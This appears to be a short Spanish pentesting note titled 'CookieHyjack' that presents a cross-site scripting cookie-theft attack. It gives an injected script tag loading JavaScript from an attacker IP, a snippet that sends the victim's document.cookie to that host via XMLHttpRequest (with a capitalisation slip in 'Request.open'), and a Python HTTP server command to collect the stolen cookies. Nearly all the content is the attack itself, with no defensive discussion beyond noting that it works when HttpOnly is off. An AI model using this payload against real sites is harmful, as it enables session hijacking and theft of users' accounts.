# CookieHyjack

Este script básico funciona siempre y cuando la cookie del usuario victima tenga en false la propiedad HttpOnly&#x20;

```
// entrada de la web, hace un llamado a nuestro servidor donde hay alojado el fichero que recoge la cookie 
<script src="IP_atacante/fichero.js"></script>   
```

```
// fichero para recoger la cookie del usuario 
var request = new XMLHttpRequest();
Request.open('GET', 'http://IP_atacante/?cookie=' + document.cookie);
request.send();
```

```
// servidor donde recibimos la cookie
python3 -m http.server 80
```

<div align="left"><figure><img src="https://431621133-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2unXutbfP7Dhru2XALek%2Fuploads%2FfmkHkV8cSRSkHlnJhEMY%2Fimage.png?alt=media&#x26;token=d2f220ee-3129-4c70-a94c-194e2381df12" alt="" width="563"><figcaption></figcaption></figure></div>
